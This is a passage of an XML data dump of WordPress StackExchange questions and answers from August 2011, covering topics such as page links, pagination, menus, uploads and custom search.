'&amp;lt;/td&amp;gt;&amp;lt;td class=&quot;category2_td1&quot;&amp;gt;'.$title2.'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;        $output .= $after;&#xA;    }&#xA;    if ( $echo )&#xA;        echo $output;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to allow the adding of the author name to the post with the use of the wp link pages tag&#xA;so it is like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&amp;lt;!--pagetitle: daily --&amp;gt;&amp;lt;!--pageauthor: dan --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the original code which works for these tags &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&amp;lt;!--pagetitle: daily --&amp;gt;&#xA;&#xA;function wp_link_pages_titled($args = '',$name) {&#xA;    $defaults = array(&#xA;        'before' =&amp;gt; '&amp;lt;p&amp;gt;' . __('Pages:'), &#xA;        'after' =&amp;gt; '&amp;lt;/p&amp;gt;',&#xA;        'link_before' =&amp;gt; '', &#xA;        'link_after' =&amp;gt; '',&#xA;        'echo' =&amp;gt; 1&#xA;    );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    extract( $r, EXTR_SKIP );&#xA;&#xA;    global $page, $numpages, $multipage, $more, $pagenow, $pages;&#xA;&#xA;    $output = '';&#xA;    if ( $multipage ) {&#xA;        $output .= $before;&#xA;        for ( $i = 1; $i &amp;lt; ($numpages+1); $i = $i + 1 ) {&#xA;            $part_content = $pages[$i-1];&#xA;            $has_part_title = strpos( $part_content, '&amp;lt;!--pagetitle:' );&#xA;            if( 0 === $has_part_title ) {&#xA;                $end = strpos( $part_content, '--&amp;gt;' );&#xA;                $title = trim( str_replace( '&amp;lt;!--pagetitle:', '', substr( $part_content, 0, $end ) ) );&#xA;            }&#xA;            $output .= ' ';&#xA;            if ( ($i != $page) || ((!$more) &amp;amp;&amp;amp; ($page==1)) ) {&#xA;                $output .= _wp_link_page($i);&#xA;            }&#xA;            $title = isset( $title ) &amp;amp;&amp;amp; ( strlen( $title ) &amp;gt; 0 ) ? $title : $name;&#xA;            $output .= $link_before . $title . $link_after;&#xA;            if ( ($i != $page) || ((!$more) &amp;amp;&amp;amp; ($page==1)) )&#xA;                $output .= '&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        $output .= $after;&#xA;    }&#xA;    if ( $echo )&#xA;        echo $output;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas how to add the extra author tag for &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; tag?&lt;/p&gt;&#xA;" OwnerUserId="7715" LastActivityDate="2011-08-14T21:06:24.240" Title="trying to add a author value in wp page links?" Tags="&lt;page&gt;&lt;tags&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="25872" PostTypeId="2" ParentId="17533" CreationDate="2011-08-14T13:03:37.357" Score="0" ViewCount="" Body="&lt;p&gt;Possible sollutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use Css with something like &lt;code&gt;overflow: hidden;&lt;/code&gt; and &quot;cut out&quot; what you need.&lt;/li&gt;&#xA;&lt;li&gt;Use the filter &lt;code&gt;apply_filters('get_avatar', $avatar, $id_or_email, $size, $default, $alt);&lt;/code&gt; and override the output of &lt;code&gt;$avatar&lt;/code&gt; completely.&lt;/li&gt;&#xA;&lt;li&gt;The function &lt;code&gt;get_avatar()&lt;/code&gt; is pluggable. That means if you hook a plugin function early enough that already defines &lt;code&gt;get_avatar()&lt;/code&gt; then this function will be used instead of the core function. See &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.2/wp-includes/pluggable.php#L1655&quot; rel=&quot;nofollow&quot;&gt;Core (link)&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-14T13:03:37.357" />
  <row Id="25873" PostTypeId="1" CreationDate="2011-08-14T13:04:48.667" Score="2" ViewCount="24" Body="&lt;p&gt;I want to display some text on the last page that isn't displayed on the other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on category pages: url.com/category/categoryname/page/6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or last page of all posts listed on the homepage: url.com/page/9 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I check if I'm on the last page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7880" LastActivityDate="2011-08-14T18:59:51.590" Title="How to check if I'm on the last page of posts?" Tags="&lt;categories&gt;&lt;loop&gt;&lt;pages&gt;" AnswerCount="3" />
  <row Id="25874" PostTypeId="2" ParentId="17321" CreationDate="2011-08-14T13:05:26.217" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;'capability_type'&lt;/code&gt; &amp;amp; &lt;code&gt;'capabilities'&lt;/code&gt; when you &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;register_post_type()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-14T13:05:26.217" />
  <row Id="25875" PostTypeId="2" ParentId="25873" CreationDate="2011-08-14T13:13:10.470" Score="0" ViewCount="" Body="&lt;p&gt;In short: If you want to learn more about pagination, I've written a &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon&quot; rel=&quot;nofollow&quot;&gt;Plugin&lt;/a&gt; for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In detail: You can take a look at the &lt;code&gt;global $paged;&lt;/code&gt; global. But best would be to digg into the plugin code i linked and look at the  &lt;code&gt;render()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-14T13:13:10.470" />
  <row Id="25876" PostTypeId="2" ParentId="11231" CreationDate="2011-08-14T14:31:45.183" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Ad anonymous or lambda functions)&lt;/strong&gt; In every case I would avoid these, as you won't know the name or get a pretty cryptic output if you inspect a hook later. Debugging would be a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ad your A)&lt;/strong&gt; The approach looks nice and offers a pretty simple API (+1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ad @hakre A)&lt;/strong&gt; I use pretty much the same function[1] in my frameworks core - extended by &quot;set_&quot; &amp;amp; an exception - to set and get variables on the fly. This way I only have to extend this class with a child class that looks like a &quot;variable only&quot;-interface (those which shall be available). It's a nice and organized approach that only keeps stuff in the files that serves a single task. With something like this you can maybe avoid writing specific functions for each and every taks like &quot;_replace&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;em&gt;Code - I run this all the time so you can call it &quot;tested - and works&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Magic getter/setter method&#xA; * Guesses for a class variable &amp;amp; calls/fills it or throws an exception.&#xA; * Note: Already defined methods override this method.&#xA; * &#xA; * Original @author Miles Keaton &amp;lt;mileskeaton@gmail.com&amp;gt; &#xA; * on {@link http://www.php.net/manual/de/language.oop5.overloading.php#48440}&#xA; * The function was extended to also allow 'set' tasks/calls and throws an exception.&#xA; * &#xA; * @param (string) $name | Name of the property&#xA; * @param unknown_type $args | arguments the function can take&#xA; */&#xA;function __call( $name, $args )&#xA;{&#xA;    $_get = false;&#xA;&#xA;    // See if we're calling a getter method &amp;amp; try to guess the variable requested&#xA;    if( substr( $val, 0, 4 ) == 'get_' )&#xA;    {&#xA;        $_get = true;&#xA;        $varname = substr( $val, 4 );&#xA;    }&#xA;    elseif( substr( $val, 0, 3 ) == 'get' )&#xA;    {&#xA;        $_get = true;&#xA;        $varname = substr( $val, 3 );&#xA;    }&#xA;&#xA;    // See if we're calling a setter method &amp;amp; try to guess the variable requested&#xA;    if( substr( $val, 0, 4 ) == 'set_' )&#xA;    {&#xA;        $varname = substr( $val, 4 );&#xA;    }&#xA;    elseif( substr( $val, 0, 3 ) == 'set' )&#xA;    {&#xA;        $varname = substr( $val, 3 );&#xA;    }&#xA;&#xA;    if ( ! isset( $varname ) )&#xA;        return new Exception( sprintf( __( &quot;The method %1$s doesn't exist&quot; ), &quot;&amp;lt;em&amp;gt;{$val}&amp;lt;/em&amp;gt;&quot; ) );&#xA;&#xA;    // Now see if that variable exists:&#xA;    foreach( $this as $class_var =&amp;gt; $class_var_value )&#xA;    {&#xA;        if ( strtolower( $class_var ) == strtolower( $varname ) )&#xA;        {&#xA;            // GET&#xA;            if ( $_get )&#xA;            {&#xA;                return $this-&amp;gt;{$class_var};&#xA;            }&#xA;            // SET&#xA;            else &#xA;            {&#xA;                return $this-&amp;gt;{$class_var} = $x[0];&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-14T14:31:45.183" />
  <row Id="25877" PostTypeId="1" AcceptedAnswerId="25878" CreationDate="2011-08-14T14:33:18.253" Score="0" ViewCount="21" Body="&lt;p&gt;I uploaded all my files on my blog (self hosted). Now all my files (documents, photos, etc...) are somewhere in wp-content/upoads folder...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of having all my files in their folders (documents in docs folder, photos in photos, etc) but still have them available trough wordpress...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-08-14T14:48:37.587" Title="All my files are on my blog! I need sync solution" Tags="&lt;uploads&gt;" AnswerCount="1" />
  <row Id="25878" PostTypeId="2" ParentId="25877" CreationDate="2011-08-14T14:48:37.587" Score="1" ViewCount="" Body="&lt;p&gt;Check &lt;code&gt;Settings -&amp;gt; Media -&amp;gt; Uploading Files&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-14T14:48:37.587" />
  <row Id="25879" PostTypeId="2" ParentId="25867" CreationDate="2011-08-14T14:52:41.000" Score="0" ViewCount="" Body="&lt;p&gt;Goto&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appearance -&gt; Menus -&gt; Create a new menu -&gt; Add your link as custom&#xA;  link&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-14T14:52:41.000" CommentCount="2" />
  <row Id="25880" PostTypeId="2" ParentId="25870" CreationDate="2011-08-14T15:11:35.047" Score="0" ViewCount="" Body="&lt;p&gt;Use AS3's &lt;a href=&quot;http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html?filter_flash=cs5&amp;amp;filter_flashplayer=10.2&amp;amp;filter_air=2.6&quot; rel=&quot;nofollow&quot;&gt;ExternalInterface&lt;/a&gt; to call JavaScript functions from within Flash applications.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import flash.external.ExternalInterface;&#xA;if (ExternalInterface.available) ExternalInterface.call(&quot;myJavascriptFunction&quot;, param1, param2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-14T15:11:35.047" CommentCount="2" />
  <row Id="25881" PostTypeId="1" CreationDate="2011-08-14T15:25:28.967" Score="0" ViewCount="34" Body="&lt;p&gt;I've noticed that images which are generated by &quot;add_image_size&quot; wont be deleted whenever i delete the media item. So after removing all media items in the media manager i have a upload folder full of thumbnail images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else experiencing this?&lt;/p&gt;&#xA;" OwnerUserId="7882" LastActivityDate="2011-08-14T18:25:45.437" Title="Thumbnails generated by &quot;add_image_size&quot; are not removed when removing media" Tags="&lt;add-image-size&gt;" AnswerCount="1" />
  <row Id="25883" PostTypeId="2" ParentId="25873" CreationDate="2011-08-14T16:37:03.140" Score="-1" ViewCount="" Body="&lt;p&gt;You can check if you're on the last page by using the following line of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$currentPage = isset($wp_query-&amp;gt;query_vars['page']) ?  (int)$wp_query-&amp;gt;query_vars['page'] : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're on the first page of the blog (which I assume you're referring to as the last page - WP has weak terminology :), then $currentPage will be 1.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2011-08-14T16:37:03.140" />
  <row Id="25884" PostTypeId="1" CreationDate="2011-08-14T16:40:30.127" Score="0" ViewCount="27" Body="&lt;p&gt;I'm using &lt;code&gt;wp_nav_menu()&lt;/code&gt; to display the main menu in my header section of the page.&lt;br&gt;&#xA;But how can I display it's sub-menu items in my left section of the page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've googled, looked in this forum and on wordpress.org, but I can find no clear example of this. Just a lot of example using &lt;code&gt;wp_list_pages&lt;/code&gt; and similar functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My menu is built up differently than my pages,so I can't use &lt;code&gt;wp_list_pages&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that I ahve to use &lt;code&gt;wp_get_nav_menu_items&lt;/code&gt; - but I dont know how to retrieve top parent menu item ID of the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally found this link: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2802/display-a-portion-branch-of-the-menu-tree-using-wp-nav-menu&quot;&gt;Display a portion/ branch of the menu tree using wp_nav_menu()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I really have to use a walker to get sub-menu items?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastEditorUserId="1447" LastEditorDisplayName="" LastEditDate="2011-08-14T16:52:07.603" LastActivityDate="2011-08-14T16:52:07.603" Title="How do I display sub-menu in left section of page?" Tags="&lt;custom-menus&gt;" />
  <row Id="25885" PostTypeId="1" AcceptedAnswerId="25908" CreationDate="2011-08-14T16:47:18.863" Score="1" ViewCount="41" Body="&lt;p&gt;I'm trying to build a theme which would require specific pages to be included. Is there a way to automatically create pages and assign them to their page templates when a theme is installed?&lt;/p&gt;&#xA;" OwnerUserId="5698" LastActivityDate="2011-08-14T22:36:12.053" Title="A way to automatically install pages on theme install?" Tags="&lt;theme-development&gt;&lt;page&gt;&lt;install&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25886" PostTypeId="2" ParentId="25655" CreationDate="2011-08-14T16:56:46.883" Score="0" ViewCount="" Body="&lt;p&gt;You would need to build your own query and pass it to query_posts i.e.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your array of post ids is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (10,21,1)   // corresponding to post ids. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you can query this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select * from wp_posts where `ID` in (10, 21, 2)&#xA;order by field(ID,10,21,2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you a result set in the order of your post ids array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-08-14T16:56:46.883" />
  <row Id="25887" PostTypeId="2" ParentId="25827" CreationDate="2011-08-14T17:20:42.430" Score="0" ViewCount="" Body="&lt;p&gt;Multisite is going to be overkill for your scenario–the way I understand it, you only have a &quot;site&quot;, not &quot;sites&quot;. If you just want to give a group of users access to edit one page, I would recommend a Plugin that further limits user Roles, as @Viruthagiri suggests.&lt;/p&gt;&#xA;" OwnerUserId="6974" LastActivityDate="2011-08-14T17:20:42.430" />
  <row Id="25888" PostTypeId="1" CreationDate="2011-08-14T17:31:42.750" Score="0" ViewCount="3" Body="&lt;p&gt;I installed a plugin that cleaned the database. Only problem is now its removed all my feeds/posts and i have been downgraded on the search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have backed up all my data bases preivious to the clean-up. I have now also updated all my pages on my site too, so to make a simple restore of the data base will erase all my new updates to my pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be s simple way to insert older post but keep new posts or keep all post_author ID and install all posts from another post_author, this way it will keep my posts and insert just the old feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for a simple solution as i am not a MYSQL expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joey&#xA;www.proscubadiver.net&lt;/p&gt;&#xA;" OwnerUserId="7885" LastActivityDate="2011-08-14T17:31:42.750" Title="Inserting older post/pages database into new posts/pages in new database" Tags="&lt;database&gt;" />
  <row Id="25889" PostTypeId="1" CreationDate="2011-08-14T17:36:18.107" Score="0" ViewCount="7" Body="&lt;p&gt;I'm looking for a plugin that would allow tracking of an application similar to the admission forms used for colleges. Ideally, a student would be able to fill out the application and submit it (and pay, if there's a application fee) and the student could check back periodically on the status of application, i.e. Received, Under Review, Accepted / Rejected, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Admin side of things, the applications would show up and would allow the admin to review, make notes, etc and mark the application with a new status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has any one seen or heard of a plugin to do something like this?&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-08-14T17:36:18.107" Title="Application / Admission Form plugin" Tags="&lt;plugin-recommendation&gt;" />
  <row Id="25890" PostTypeId="2" ParentId="23023" CreationDate="2011-08-14T17:36:41.463" Score="1" ViewCount="" Body="&lt;p&gt;You need a media player.  WordPress (and more importantly your server) doesn't know how to play media unless you've got it in via HTML5.  You can use plugins like Viper's Video Quicktags which can parse it for you.&lt;/p&gt;&#xA;" OwnerUserId="7886" LastActivityDate="2011-08-14T17:36:41.463" />
  <row Id="25891" PostTypeId="1" CreationDate="2011-08-14T17:56:10.360" Score="0" ViewCount="13" Body="&lt;p&gt;I want to have an icons, such as facebook, linkedin, twitter, etc on the right bar side of my wordpress blog. What is a good plugin to show this?&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2011-08-15T00:11:12.473" Title="what social network plugin is good to show your social network link" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="25892" PostTypeId="1" CreationDate="2011-08-14T18:20:27.513" Score="0" ViewCount="33" Body="&lt;p&gt;I have a slightly complicated menu to code from PSD document and integrate into wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how it looks: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(link in the comment bellow)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of my work is this: &lt;a href=&quot;http://slavisaperisic.com/FlexE/meni_setap.html&quot; rel=&quot;nofollow&quot;&gt;http://slavisaperisic.com/FlexE/meni_setap.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when I write function  I get the default markup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li class=&quot;page_item&quot;&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;page_item&quot;&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;page_item&quot;&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the markup I created (that gives me the appropriately styled dynamic menu) looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;menu&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div id=&quot;menu-left&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div id=&quot;main-menu&quot;&amp;gt;&#xA;                        &amp;lt;ul&amp;gt;&#xA;                            &amp;lt;li class=&quot;active first&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;left_li&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;a href=&quot;#&quot; class=&quot;active&quot;&amp;gt;Exploring&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;div class=&quot;right_li&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li class=&quot;second&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;left_li&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;a href=&quot;#&quot;&amp;gt;Using&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;div class=&quot;right_li&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                            &amp;lt;li class=&quot;third&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;left_li&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                &amp;lt;a href=&quot;#&quot;&amp;gt;Downloading&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;div class=&quot;right_li&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div id=&quot;menu-right&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I styled it so that it follows the length of the word in the menu item. Obviously I can't use the &lt;code&gt;wp_list_pages()&lt;/code&gt; function because the structure it gives me is different than the one I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have some ideas? Maybe point me to somewhere where I can learn to code it differently or explain it to me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7069" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-15T18:25:20.010" LastActivityDate="2011-08-15T18:25:20.010" Title="I need ideas for a complicated menu" Tags="&lt;navigation&gt;&lt;wp-list-pages&gt;" AnswerCount="1" />
  <row Id="25893" PostTypeId="2" ParentId="25881" CreationDate="2011-08-14T18:25:45.437" Score="1" ViewCount="" Body="&lt;p&gt;Yep.  This is standard behavior, everyone experiences it.  There's no workaround at this time.&lt;/p&gt;&#xA;" OwnerUserId="7886" LastActivityDate="2011-08-14T18:25:45.437" CommentCount="1" />
  <row Id="25894" PostTypeId="1" CreationDate="2011-08-14T18:27:23.803" Score="-1" ViewCount="25" Body="&lt;p&gt;In particular, I want to store all attachments (media) in a folder named by the post title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;uploads/my-post-about-stuff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should contain all media attached to that post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-08-16T23:16:52.020" Title="How can I organize uploads folder differently" Tags="&lt;uploads&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25895" PostTypeId="2" ParentId="24742" CreationDate="2011-08-14T18:29:22.740" Score="0" ViewCount="" Body="&lt;p&gt;WordPress already applies the CSS class &lt;code&gt;current-page-ancestor&lt;/code&gt; to the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; if it is a link to a Page that is a parent (or higher) of the current Page. This follows the Page structure, not the menu structure. If this is not fit for your situation, could you edit your question to make it more clear how it differs?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-08-14T18:29:22.740" />
  <row Id="25896" PostTypeId="1" CreationDate="2011-08-14T18:40:20.083" Score="-3" ViewCount="37" Body="&lt;p&gt;I use godaddy as my webhost and some of my wordpress sites had been up for over a year, but on  Tuesday Aug 9, 2011 all at once in one fell swoop about a dozen of my WP sites out of the nearly one and a half dozen WP sites that I host on godaddy are not reachable in a browser and trying to bring them up in the browser brings up a 500 internal server error. Thye techs at godaddy said they worked on my issue for 3 days, then they said that they have given up and now my sites WP sites that I host on godaddy permently unreachable and return the 500 server error when you try to got to them. I have read on many forums recently that this is an ever increasing problem with godaddy hosting and that most people said they sloved their problem by moving to another webhost and this is also what I am planing to do soon myself.&lt;/p&gt;&#xA;" OwnerUserId="7887" LastActivityDate="2011-08-14T22:58:05.103" Title="On Tuesday Aug 9, 2011 about a dozen of my WordPress sites went down all at once on my godaddy account" Tags="&lt;500-internal-error&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25897" PostTypeId="2" ParentId="25892" CreationDate="2011-08-14T18:49:17.093" Score="0" ViewCount="" Body="&lt;p&gt;You can customize the output of wp_list_pages into your desired output using custom walker. Check out the links below on how to write it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output&quot; rel=&quot;nofollow&quot;&gt;http://www.kriesi.at/archives/improve-your-wordpress-navigation-menu-output&lt;/a&gt;&#xA;http://bugssite.org/blog/2009/12/08/wordpress-custom-walker-tutorial/&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/multilevel-horizontal-menu&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/multilevel-horizontal-menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-08-14T18:49:17.093" />
  <row Id="25898" PostTypeId="2" ParentId="25873" CreationDate="2011-08-14T18:59:51.590" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;WP_Query&lt;/code&gt; object contains &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/query.php#L2637&quot; rel=&quot;nofollow&quot;&gt;a &lt;code&gt;max_num_pages&lt;/code&gt; field&lt;/a&gt; which contains how many pages of posts there are. You can compare the current page number with it. (This is &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/link-template.php#L1585&quot; rel=&quot;nofollow&quot;&gt;how &lt;code&gt;get_next_posts_link()&lt;/code&gt; does it&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$current_page = $wp_query-&amp;gt;get( 'paged' );&#xA;if ( ! $current_page ) {&#xA;    $current_page = 1;&#xA;}&#xA;if ( $current_page == $wp_query-&amp;gt;max_num_pages ) {&#xA;    // You are on the last page&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-08-14T18:59:51.590" CommentCount="1" />
  <row Id="25899" PostTypeId="1" AcceptedAnswerId="26530" CreationDate="2011-08-14T19:19:33.727" Score="3" ViewCount="39" Body="&lt;p&gt;I am trying to create a custom search page to show only custom posts types that meet specific search criteria. I have a complex form that involves different selects, radio buttons and text input fields. I am comfortable using the WP_Query class to query for the posts that are identified via the search form, but I'm not sure if I should create additional templates or use the built in search page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me give you a for instance to help communicate my conundrum. Imagine you have the CPT &quot;Person&quot;. For each person, you have &quot;Birth Date&quot;, &quot;Gender&quot;, &quot;Height&quot;, and &quot;Weight&quot;. You want to search for all males born after 1972, who are taller than 6 feet tall. How would you work out this search? Again, I can easily put together &lt;code&gt;$args&lt;/code&gt; for the WP_Query class to get these posts. I need to know the best way to integrate this with WordPress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I need a solution the satisfies the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Preserves pagination on the search page&#xA;2) Only searches for the specific CPT, not other CPTs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, I have the following questions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Should I have a separate template for this, or can I integrate this directly with &lt;code&gt;search.php&lt;/code&gt;? My current solution feels hacky and I would like to develop an alternative. I have created a new Page in the WP admin. I use this page's URL as the &lt;code&gt;action&lt;/code&gt; attribute in the search form. I then use a custom template to display results of that page. This seems wrong to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If I integrate this with &lt;code&gt;search.php&lt;/code&gt; how do I preserve the regular search results, in addition to having these lovely custom search results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: On further investigation, I'm beginning to think that &lt;code&gt;pre_get_posts&lt;/code&gt; will likely be involved in a &quot;better way&quot; to do this.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-14T19:56:54.827" LastActivityDate="2011-08-22T04:53:30.080" Title="The right way to create a custom search page for complex custom post types" Tags="&lt;custom-post-types&gt;&lt;search&gt;" AnswerCount="1" />
